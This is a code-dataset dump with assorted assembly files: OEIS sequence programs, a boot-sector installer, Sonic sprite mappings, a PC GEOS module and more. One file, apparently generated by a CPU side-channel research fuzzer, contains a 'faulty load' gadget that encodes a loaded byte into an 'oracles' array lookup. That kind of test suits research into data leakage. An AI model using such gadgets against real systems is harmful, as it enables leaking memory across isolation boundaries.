hexsha
stringlengths
40
40
size
int64
5
1.05M
ext
stringclasses
588 values
lang
stringclasses
305 values
max_stars_repo_path
stringlengths
3
363
max_stars_repo_name
stringlengths
5
118
max_stars_repo_head_hexsha
stringlengths
40
40
max_stars_repo_licenses
listlengths
1
10
max_stars_count
float64
1
191k
max_stars_repo_stars_event_min_datetime
stringdate
2015-01-01 00:00:35
2022-03-31 23:43:49
max_stars_repo_stars_event_max_datetime
stringdate
2015-01-01 12:37:38
2022-03-31 23:59:52
max_issues_repo_path
stringlengths
3
363
max_issues_repo_name
stringlengths
5
118
max_issues_repo_head_hexsha
stringlengths
40
40
max_issues_repo_licenses
listlengths
1
10
max_issues_count
float64
1
134k
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
max_forks_repo_path
stringlengths
3
363
max_forks_repo_name
stringlengths
5
135
max_forks_repo_head_hexsha
stringlengths
40
40
max_forks_repo_licenses
listlengths
1
10
max_forks_count
float64
1
105k
max_forks_repo_forks_event_min_datetime
stringdate
2015-01-01 00:01:02
2022-03-31 23:27:27
max_forks_repo_forks_event_max_datetime
stringdate
2015-01-03 08:55:07
2022-03-31 23:59:24
content
stringlengths
5
1.05M
avg_line_length
float64
1.13
1.04M
max_line_length
int64
1
1.05M
alphanum_fraction
float64
0
1
243308aff1011f2176ddccb04cd799ca887e40b4
7,628
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_1049.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_1049.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_1049.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r14 push %rax push %rbp push %rbx push %rcx push %rdi push %rsi lea addresses_WC_ht+0x1a585, %rbp nop nop nop cmp $27575, %rsi and $0xffffffffffffffc0, %rbp vmovaps (%rbp), %ymm4 vextracti128 $0, %ymm4, %xmm4 vpextrq $1, %xmm4, %r12 sub %rbx, %rbx lea addresses_WC_ht+0x5c26, %rcx nop xor $4100, %r12 mov (%rcx), %r14 nop nop nop nop nop and %r14, %r14 lea addresses_A_ht+0x166c8, %rbp nop nop add $27674, %rax mov (%rbp), %r12w nop nop nop nop nop and %rbp, %rbp lea addresses_D_ht+0xf3c6, %rsi lea addresses_WT_ht+0x18c16, %rdi and $49704, %r14 mov $122, %rcx rep movsq nop sub %r12, %r12 lea addresses_D_ht+0xf5f6, %rsi lea addresses_A_ht+0x143b6, %rdi nop and $60522, %rbp mov $2, %rcx rep movsq nop nop nop nop nop xor %rbp, %rbp lea addresses_UC_ht+0x14016, %rax nop xor %rsi, %rsi movb (%rax), %bl nop cmp %rcx, %rcx lea addresses_normal_ht+0x6ef6, %rsi nop nop nop nop nop cmp $63944, %rbx mov (%rsi), %r14w nop nop nop nop dec %rbx lea addresses_D_ht+0x8816, %r12 dec %rbx mov (%r12), %eax nop nop nop xor %rcx, %rcx lea addresses_WT_ht+0x6f16, %r14 nop nop and $56549, %rcx movl $0x61626364, (%r14) nop nop nop nop nop sub %rdi, %rdi lea addresses_normal_ht+0xa416, %rsi lea addresses_D_ht+0x3626, %rdi nop nop nop add %rbx, %rbx mov $68, %rcx rep movsw dec %r14 lea addresses_WT_ht+0x7596, %rbp nop nop nop inc %rax movb (%rbp), %cl nop nop nop xor $33581, %rbx lea addresses_WC_ht+0x10016, %rcx nop nop nop nop nop and $38855, %rbp movw $0x6162, (%rcx) nop xor $25757, %r12 lea addresses_WC_ht+0x18596, %rsi lea addresses_UC_ht+0x19696, %rdi nop inc %rbx mov $86, %rcx rep movsb nop add $59205, %rdi lea addresses_D_ht+0x10016, %rcx add %rdi, %rdi movb (%rcx), %r14b nop nop nop xor $2922, %r12 lea addresses_WC_ht+0xa596, %rsi lea addresses_normal_ht+0xb49e, %rdi nop nop nop nop inc %r14 mov $12, %rcx rep movsl and %rcx, %rcx pop %rsi pop %rdi pop %rcx pop %rbx pop %rbp pop %rax pop %r14 pop %r12 ret .global s_faulty_load s_faulty_load: push %r11 push %r12 push %r9 push %rdi push %rdx // Faulty Load lea addresses_WT+0xd816, %rdx nop nop xor $2759, %r11 movups (%rdx), %xmm7 vpextrq $0, %xmm7, %rdi lea oracles, %r11 and $0xff, %rdi shlq $12, %rdi mov (%r11,%rdi,1), %rdi pop %rdx pop %rdi pop %r9 pop %r12 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 0, 'same': False, 'type': 'addresses_WT'}, 'OP': 'LOAD'} [Faulty Load] {'src': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0, 'same': True, 'type': 'addresses_WT'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'NT': False, 'AVXalign': True, 'size': 32, 'congruent': 0, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'LOAD'} {'src': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 3, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'LOAD'} {'src': {'NT': True, 'AVXalign': False, 'size': 2, 'congruent': 1, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 4, 'same': False, 'type': 'addresses_D_ht'}, 'dst': {'congruent': 10, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM'} {'src': {'congruent': 5, 'same': True, 'type': 'addresses_D_ht'}, 'dst': {'congruent': 5, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'REPM'} {'src': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 9, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'} {'src': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 5, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'} {'src': {'NT': False, 'AVXalign': True, 'size': 4, 'congruent': 11, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'} {'dst': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 7, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'STOR'} {'src': {'congruent': 9, 'same': False, 'type': 'addresses_normal_ht'}, 'dst': {'congruent': 3, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'REPM'} {'src': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 6, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'} {'dst': {'NT': True, 'AVXalign': False, 'size': 2, 'congruent': 7, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'STOR'} {'src': {'congruent': 7, 'same': False, 'type': 'addresses_WC_ht'}, 'dst': {'congruent': 7, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM'} {'src': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 11, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 6, 'same': False, 'type': 'addresses_WC_ht'}, 'dst': {'congruent': 2, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM'} {'39': 21829} 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 */
35.812207
2,999
0.656266
c3ff51cb5421865ac3b47c1f4738c78a7e70dd94
1,120
asm
Assembly
programs/oeis/168/A168207.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/168/A168207.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/168/A168207.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A168207: a(n) = 5*n - a(n-1) + 1 with n>1, a(1)=2. ; 2,14,7,19,12,24,17,29,22,34,27,39,32,44,37,49,42,54,47,59,52,64,57,69,62,74,67,79,72,84,77,89,82,94,87,99,92,104,97,109,102,114,107,119,112,124,117,129,122,134,127,139,132,144,137,149,142,154,147,159,152,164,157,169,162,174,167,179,172,184,177,189,182,194,187,199,192,204,197,209,202,214,207,219,212,224,217,229,222,234,227,239,232,244,237,249,242,254,247,259,252,264,257,269,262,274,267,279,272,284,277,289,282,294,287,299,292,304,297,309,302,314,307,319,312,324,317,329,322,334,327,339,332,344,337,349,342,354,347,359,352,364,357,369,362,374,367,379,372,384,377,389,382,394,387,399,392,404,397,409,402,414,407,419,412,424,417,429,422,434,427,439,432,444,437,449,442,454,447,459,452,464,457,469,462,474,467,479,472,484,477,489,482,494,487,499,492,504,497,509,502,514,507,519,512,524,517,529,522,534,527,539,532,544,537,549,542,554,547,559,552,564,557,569,562,574,567,579,572,584,577,589,582,594,587,599,592,604,597,609,602,614,607,619,612,624,617,629,622,634 mov $1,$0 mul $0,3 lpb $0 sub $0,2 add $1,1 lpe mul $0,10 lpb $0 sub $0,1 add $1,1 lpe add $1,2
70
961
0.704464
656a4405c836ff072344d70b23db20767e7589dd
630
asm
Assembly
oeis/002/A002658.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/002/A002658.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/002/A002658.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A002658: a(0) = a(1) = 1; for n > 0, a(n+1) = a(n)*(a(0) + ... + a(n-1)) + a(n)*(a(n) + 1)/2. ; Submitted by Christian Krause ; 1,1,2,7,56,2212,2595782,3374959180831,5695183504489239067484387,16217557574922386301420531277071365103168734284282,131504586847961235687181874578063117114329409897598970946516793776220805297959867258692249572750581,8646728181026489602610406537158318670928372786737024641130379069394221138489756289944296330853108308241821596669137971686949329478336661530334430058051973336177293923772027610801794840747988177012 lpb $0 sub $0,1 add $1,$2 add $1,1 mov $2,$1 bin $2,2 lpe mov $0,$2 add $0,1
45
413
0.795238
df96429ea912dcece9cb59b219b2f0150f9a2659
583
asm
Assembly
Asmt7/Asmt7_3.asm
wstern1234/COMSC-260
e1bd1a88698f09fa27a2d563e53da20d0c9a361e
[ "MIT" ]
null
null
null
Asmt7/Asmt7_3.asm
wstern1234/COMSC-260
e1bd1a88698f09fa27a2d563e53da20d0c9a361e
[ "MIT" ]
null
null
null
Asmt7/Asmt7_3.asm
wstern1234/COMSC-260
e1bd1a88698f09fa27a2d563e53da20d0c9a361e
[ "MIT" ]
null
null
null
; Asmt7_3.asm - displays a single character, using the color attributes specified in forecolor and backcolor INCLUDE Irvine32.inc .data .code main PROC call WriteColorChar INVOKE ExitProcess, 0 main ENDP SetColor PROC USES eax, forecolor:BYTE, backcolor:BYTE movzx eax, backcolor shl eax, 4 add al, forecolor call SetTextColor ret SetColor ENDP WriteColorChar PROC USES eax, char:BYTE, forecolor:BYTE, backcolor:BYTE, INVOKE SetColor, forecolor, backcolor mov al, char call WriteChar ret WriteColorChar ENDP END main
12.955556
109
0.723842
19a78b59c5a983f03847668a8c615e1ff021e9d2
633
asm
Assembly
oeis/117/A117862.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/117/A117862.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/117/A117862.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A117862: Number of palindromes (in base 3) below 3^n. ; 0,2,4,10,16,34,52,106,160,322,484,970,1456,2914,4372,8746,13120,26242,39364,78730,118096,236194,354292,708586,1062880,2125762,3188644,6377290,9565936,19131874,28697812,57395626,86093440,172186882,258280324,516560650,774840976,1549681954,2324522932,4649045866,6973568800,13947137602,20920706404,41841412810,62762119216,125524238434,188286357652,376572715306,564859072960,1129718145922,1694577218884,3389154437770,5083731656656,10167463313314,15251194969972,30502389939946,45753584909920 mov $2,$0 sub $0,1 gcd $0,2 div $2,2 lpb $2 mul $0,3 sub $2,1 lpe sub $0,1 mul $0,2
45.214286
487
0.815166
2a93b1a02564a690f3193fa1107cd4ad358bd47a
534
asm
Assembly
asm/codes/hijack/wdw_water_level.asm
brikr/practice-rom-patcher
8e18d1713da24379fc92fdf084b2a1aa93c633ad
[ "MIT" ]
2
2017-12-31T23:23:36.000Z
2018-02-01T19:24:44.000Z
asm/codes/hijack/wdw_water_level.asm
brikr/practice-rom-patcher
8e18d1713da24379fc92fdf084b2a1aa93c633ad
[ "MIT" ]
null
null
null
asm/codes/hijack/wdw_water_level.asm
brikr/practice-rom-patcher
8e18d1713da24379fc92fdf084b2a1aa93c633ad
[ "MIT" ]
null
null
null
// WDW Water Level scope WDWWaterLevel: { lui t0, 0x8033 lui t1, 0x8034 lh at, 0x9C30 (t1) addiu v0, r0, 0x0820 bne at, v0, Medium // D1339C30 0820 nop High: addiu v0, r0, 0x44CB sh v0, 0xFFDC (t0) // 8132FFDC 44CB Medium: addiu v0, r0, 0x0120 bne at, v0, Low // D1339C30 0120 nop addiu v0, r0, 0x44BB sh v0, 0xFFDC (t0) // 8132FFDC 44BB Low: addiu v0, r0, 0x0420 bne at, v0, End // D1339C30 0420 nop addiu v0, r0, 0x44AB sh v0, 0xFFDC (t0) // 8132FFDC 44AB End: }
19.777778
39
0.601124
db38a681203a5adef8c1ab90f40536ef02f38edc
186
nasm
Assembly
Chapter03/arithmetic-operations/add-sub-with-carry.nasm
firebitsbr/Penetration-Testing-with-Shellcode
2d756bccace6b727e050b2010ebf23e08d221fdc
[ "MIT" ]
30
2018-05-15T21:45:09.000Z
2022-03-23T20:04:25.000Z
Chapter03/arithmetic-operations/add-sub-with-carry.nasm
naveenselvan/Penetration-Testing-with-Shellcode
2d756bccace6b727e050b2010ebf23e08d221fdc
[ "MIT" ]
1
2020-10-19T13:03:32.000Z
2020-11-24T05:50:17.000Z
Chapter03/arithmetic-operations/add-sub-with-carry.nasm
naveenselvan/Penetration-Testing-with-Shellcode
2d756bccace6b727e050b2010ebf23e08d221fdc
[ "MIT" ]
18
2018-02-20T21:21:23.000Z
2022-01-26T04:19:28.000Z
global _start section .text _start: mov rax, 0x5 stc adc rax, 0x1 mov rbx, 0x5 stc sbb rbx, 0x1 mov rax, 60 mov rdi, 0 syscall section .data
9.789474
16
0.55914
106c2779217834484f8da3048aa03e60f4161276
2,892
asm
Assembly
installer.asm
jakiki6/bootOS
f6d557bdcda8f830cff7e2cc61a92ae2644d3dff
[ "BSD-2-Clause" ]
11
2020-08-01T20:39:19.000Z
2021-11-05T02:06:06.000Z
installer.asm
jakiki6/bootOS
f6d557bdcda8f830cff7e2cc61a92ae2644d3dff
[ "BSD-2-Clause" ]
1
2021-02-11T20:39:11.000Z
2021-02-16T16:15:40.000Z
installer.asm
jakiki6/bootOS
f6d557bdcda8f830cff7e2cc61a92ae2644d3dff
[ "BSD-2-Clause" ]
1
2022-02-21T16:09:26.000Z
2022-02-21T16:09:26.000Z
org 0x7c00 init: xor ax,ax ; Set all segments to zero mov ds,ax mov es,ax mov ss,ax mov sp,0x8000 mov byte [0xffff], dl get_disk: mov al, "#" call input_line call xdigit ; Get a hexadecimal digit mov cl,4 shl al,cl xchg ax,cx call xdigit ; Get a hexadecimal digit or al,cl mov ah, 0x00 push ax cmp al, [0xffff] je error copy: push cs pop ds mov si, dap mov ah, 0x42 mov dl, [0xffff] pusha int 0x13 popa jc exit pop dx push dx mov ah, 0x43 sub word [dap.lba_lower], 1 pusha int 0x13 popa jc exit add word [dap.lba_lower], 2 cmp word [dap.lba_lower], 0xffff jne copy exit: mov si, success mov byte [0xfffe], 0xff _print: lodsb cmp al, 0x00 je _exit pusha call output_char popa jmp _print _exit: mov ah,0x00 int 0x16 jmp 0xffff:0x0000 error: mov si, error_msg jmp _print xdigit: lodsb cmp al,0x00 ; Zero character marks end of line je r sub al,0x30 ; Avoid spaces (anything below ASCII 0x30) jc xdigit cmp al,0x0a jc r sub al,0x07 and al,0x0f stc r: ret input_line: call output_char; Output prompt character mov si,0xa000 ; Setup SI and DI to start of line buffer mov di,si ; Target for writing line mov dl, al os1: cmp al,0x08 ; Backspace? jne os2 dec di ; Undo the backspace write cmp si, di je os2_ dec di ; Erase a character push ax mov al, " " call output_char mov al, 0x08 call output_char pop ax os2: call input_key ; Read keyboard cmp al,0x0d ; CR pressed? jne os10 mov al,0x00 os10: stosb ; Save key in buffer jne os1 ; No, wait another key ret ; Yes, return os2_: mov al, dl call output_char jmp os2 ; ; Read a key into al ; Also outputs it to screen ; input_key: mov ah,0x00 int 0x16 ; ; Screen output of character contained in al ; Expands 0x0d (CR) into 0x0a 0x0d (LF CR) ; output_char: cmp al,0x0d jne os3 mov al,0x0a call output_char mov al,0x0d os3: mov ah,0x0e ; Output character to TTY mov bx,0x0007 ; Gray. Required for graphic modes int 0x10 ; BIOS int 0x10 = Video ret success: db "Success. Press a key to reboot...", 0x0d, 0 error_msg: db "Cannot install to source drive!", 0x0d, 0 dap: dap.header: db 0x10 dap.unused: db 0x00 dap.count: dw 0x0001 dap.offset_offset: dw 0x0000 dap.offset_segment: dw 0x1000 dap.lba_lower: dq 0x0001 dap.lba_upper: dq 0x0000 times 510 - ($ - $$) db 0x00 db 0x55, 0xaa
20.805755
74
0.568465
943cb6dea6e023dad2bb6e4f25b94c79afefb9eb
389
asm
Assembly
Working Disassembly/Levels/DEZ/Misc Object Data/Map - Gravity Switch.asm
TeamASM-Blur/Sonic-3-Blue-Balls-Edition
7e8a2c5df02271615ff4cae529521e6b1560d6b1
[ "Apache-2.0" ]
5
2021-07-09T08:17:56.000Z
2022-02-27T19:57:47.000Z
Working Disassembly/Levels/DEZ/Misc Object Data/Map - Gravity Switch.asm
TeamASM-Blur/Sonic-3-Blue-Balls-Edition
7e8a2c5df02271615ff4cae529521e6b1560d6b1
[ "Apache-2.0" ]
null
null
null
Working Disassembly/Levels/DEZ/Misc Object Data/Map - Gravity Switch.asm
TeamASM-Blur/Sonic-3-Blue-Balls-Edition
7e8a2c5df02271615ff4cae529521e6b1560d6b1
[ "Apache-2.0" ]
null
null
null
dc.w word_48BEE-Map_DEZGravitySwitch dc.w word_48C08-Map_DEZGravitySwitch word_48BEE: dc.w 4 ; DATA XREF: ROM:00048BEAo dc.b $F8, 4, 0, 0, $FF, $F0 dc.b $F8, 4, 8, 0, 0, 0 dc.b 0, 4, 0, 2, $FF, $F0 dc.b 0, 4, 8, 2, 0, 0 word_48C08: dc.w 2 ; DATA XREF: ROM:00048BEAo dc.b $F8, 4, 0, 0, $FF, $F0 dc.b $F8, 4, 8, 0, 0, 0
35.363636
48
0.508997
ed58704d0615971ae0947d303b982e623c0f91f4
643
asm
Assembly
programs/oeis/187/A187274.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/187/A187274.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/187/A187274.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A187274: a(n) = n*4^(n/2 - 1)*(9 + (-1)^n). ; 0,4,20,48,160,320,960,1792,5120,9216,25600,45056,122880,212992,573440,983040,2621440,4456448,11796480,19922944,52428800,88080384,230686720,385875968,1006632960,1677721600,4362076160,7247757312,18790481920,31138512896,80530636800,133143986176,343597383680,566935683072,1460288880640,2405181685760,6184752906240,10170482556928,26113401159680,42880953483264,109951162777600,180319906955264,461794883665920,756463999909888,1935140464885760,3166593487994880,8092405580431360 mov $1,$0 add $0,2 cal $0,104721 ; Expansion of (1+x)^2/(1-4*x^2). mul $0,$1 mul $0,3 mov $1,$0 mul $1,2 div $1,48 mul $1,4
49.461538
471
0.791602
802b4a26d7d4210642c66822d9dd67345b2e1ca0
2,343
asm
Assembly
Library/Kernel/Local/localManager.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
504
2018-11-18T03:35:53.000Z
2022-03-29T01:02:51.000Z
Library/Kernel/Local/localManager.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
96
2018-11-19T21:06:50.000Z
2022-03-06T10:26:48.000Z
Library/Kernel/Local/localManager.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
73
2018-11-19T20:46:53.000Z
2022-03-29T00:59:26.000Z
COMMENT @----------------------------------------------------------------------- Copyright (c) GeoWorks 1991 -- All Rights Reserved PROJECT: PC GEOS MODULE: Local FILE: localManager.asm AUTHOR: Tony Requist REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 2/91 Initial version DESCRIPTION: This file assembles the localization code. See the spec for more information. $Id: localManager.asm,v 1.1 97/04/05 01:16:39 newdeal Exp $ -------------------------------------------------------------------------------@ include kernelGeode.def ;-------------------------------------- ; Include files ;-------------------------------------- include graphics.def include sem.def include initfile.def include lmem.def include localize.def include char.def if DBCS_PCGEOS include chunkarr.def endif include timedate.def include Internal/lexical.def include Internal/fileInt.def include Internal/localInt.def if DBCS_PCGEOS UseDriver Internal/fsDriver.def endif ;-------------------------------------- include localConstant.def ; constants used by this module ;------------------------------------- include localInit.asm include localStrings.asm include stringQuotes.asm include stringConstant.def if DBCS_PCGEOS include stringCaseTablesDBCS.asm else include stringCaseTables.asm endif include stringCase.asm if DBCS_PCGEOS include stringSortTablesDBCS.asm else include stringSortTables.asm endif include stringSort.asm if DBCS_PCGEOS include stringCharTablesDBCS.asm else include stringCharTables.asm endif include stringChar.asm include stringSize.asm include dateTimeFields.asm include dateTimeFormat.asm include dateTimeParse.asm include numericFormats.asm include numericMeasure.asm include dosVariable.asm if DBCS_PCGEOS include dosConvertDBCS.asm else include dosConvert.asm include cmapUS.asm include cmapMulti.asm include cmapFrench.asm include cmapNordic.asm include cmapPort.asm include cmapLatin1.asm endif include localC.asm if DBCS_PCGEOS include localDBCS.asm endif if DBCS_PCGEOS ; useful for PIZZA, but we have these ; entry points for DBCS also ; (we just have stubs for DBCS) include gengoDate.asm include kinsokuChars.asm endif end
18.304688
81
0.655997
1b0ffe325e1d33b82e113298d9357d867c2ae128
595
asm
Assembly
oeis/343/A343526.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/343/A343526.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/343/A343526.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A343526: Number of divisors of n^7. ; Submitted by Jon Maiga ; 1,8,8,15,8,64,8,22,15,64,8,120,8,64,64,29,8,120,8,120,64,64,8,176,15,64,22,120,8,512,8,36,64,64,64,225,8,64,64,176,8,512,8,120,120,64,8,232,15,120,64,120,8,176,64,176,64,64,8,960,8,64,120,43,64,512,8,120,64,512,8,330,8,64,120,120,64,512,8,232,29,64,8,960,64,64,64,176,8,960,64,120,64,64,64,288,8,120,120,225 add $0,1 mov $1,1 mov $2,2 lpb $0 mov $3,$0 lpb $3 mov $4,$0 mod $4,$2 add $2,1 cmp $4,0 cmp $4,0 sub $3,$4 lpe mov $5,1 lpb $0 dif $0,$2 add $5,7 lpe mul $1,$5 lpe mov $0,$1
22.884615
309
0.588235
b25f988a97ee2dcedf258c71786c6c2f37e2bfdf
5,114
asm
Assembly
Transynther/x86/_processed/AVXALIGN/_st_/i7-7700_9_0x48_notsx.log_21829_751.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/AVXALIGN/_st_/i7-7700_9_0x48_notsx.log_21829_751.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/AVXALIGN/_st_/i7-7700_9_0x48_notsx.log_21829_751.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
